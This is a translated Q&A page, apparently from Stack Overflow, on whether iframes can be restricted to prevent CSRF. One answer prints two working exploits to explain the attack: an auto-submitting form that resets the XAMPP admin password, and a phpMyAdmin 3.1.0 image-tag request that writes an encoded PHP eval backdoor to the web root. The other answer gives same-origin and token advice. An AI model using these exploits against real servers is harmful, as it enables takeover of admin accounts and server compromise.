如何防止涉及嵌入式iframe的CSRF / XSRF攻击?

时间:2010-01-26 04:19:11

标签: javascript security iframe csrf

有没有办法限制父母在iframe中允许做什么?我正在寻找的是一个围绕Javascript的安全模型,它看起来像:

...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}

function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
  Deny All;
  Allow javascript:AllowedToAccess();
}

iframe script.untrusted {
  Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...

两个'trusted.html'看起来像:

<html><body>
<script type="text/javascript">
function InternalCall()
{
  window.parent.AllowedToAccess();
}

function InternalCall2()
{
  window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
  Allow javascript:document.body.offsetHeight;
  Allow javascript:document.title;
}

script.untrusted {
  Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldnt.php');
</script>
</body>
</html>

并且'SomethingIShouldnt.php'看起来像:

NotAllowedToAccess();

'untrusted.js'看起来像:

window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');

(呃...抱歉过度杀戮。)

您将在HTML代码中注明不存在的'security'标记。我正在思考CSS selector-ish声明的内容,其中混合了一些类似Apache的安全语法来定义规则。 (我没有使用window.parent规则,但它希望能够证明阻止跨站点脚本的浏览器是一个不错的解决方法,这真的令人沮丧 - “我相信父窗口只能访问窗口的高度和标题”)。我希望这样的东西已经以某种形式存在(甚至是草案规范)。但我担心答案是'不'。

这可以(甚至部分)完成吗?如果没有,那么我需要与谁交谈才能实现这样的事情(标准委员会或浏览器实施者)?当然,假设这甚至没有任何意义吗?

2 个答案:

答案 0 :(得分:5)

简短的回答是否定的,XSRF与iframe无关。

伪造请求是否来自iframe无关紧要。伪造的请求必须来自另一台服务器,以便攻击者利用它。黑客用户iframe,因为它们可用于在XSRF漏洞中伪造帖子请求,因为漏洞利用必须使用javascript自动提交论坛。这是我针对XAMPP编写的真实世界XSRF漏洞,它改变了管理密码。最好在iframe中执行这个javascript / html,这样对受害者来说它是不可见的,但是这个漏洞只能在没有iframe的情况下重定向整个窗口,它仍然会改变管理员的密码。

<html>
 <form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
           <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
  <input type=hidden name="xamppuser" value=admin >
  <input type=hidden name="xampppasswd" value=password>
  <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
  <input type=submit>
 </form>
</html>
<script>
 document.getElementById(1).submit();
</script>

但如果XSRF攻击基于GET,则iframe无法帮助攻击者。最好使用img标记在受害者浏览器上自动发送伪造请求。这是我的另一个漏洞,它是为phpMyAdmin 3.1.0编写的。这会在Web根目录中上传一个php后门程序。这个漏洞很棒,因为它可以在启用noscript的情况下工作并影响系统的TON。

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

答案 1 :(得分:1)

您可以使用同源政策(SOP)。

将iframe src设置为其他端口,子域或域,iframe将无法访问父内容。

即:对于页面

http://www.mydomain.com/mypage.html

和iframe,以下之一

http://www.mydomain.com:4255/iframeSrc.html
http://secure.mydomain.com/iframeSrc.html
http://www.secure-mydomain.com/iframeSrc.html

但如果您只依赖页面中提供的cookie,这不会阻止CSRF 如果有人知道如何在您的服务器上发布请求,他将能够这样做。

阻止这种情况的最简单方法是在您的网页中添加一个javascript变量(SOP无法访问iframe),并为每个请求传递。

您可能感兴趣的内容,并且对于垃圾邮件感到抱歉,因为我今天已经发布了关于它的信息,我们使用iframe来沙箱化JSONP调用,但是要在它们之间启用安全的字符串通信。

Here is the description它是如何工作的,并且有一个演示页面可以看到它正在运行。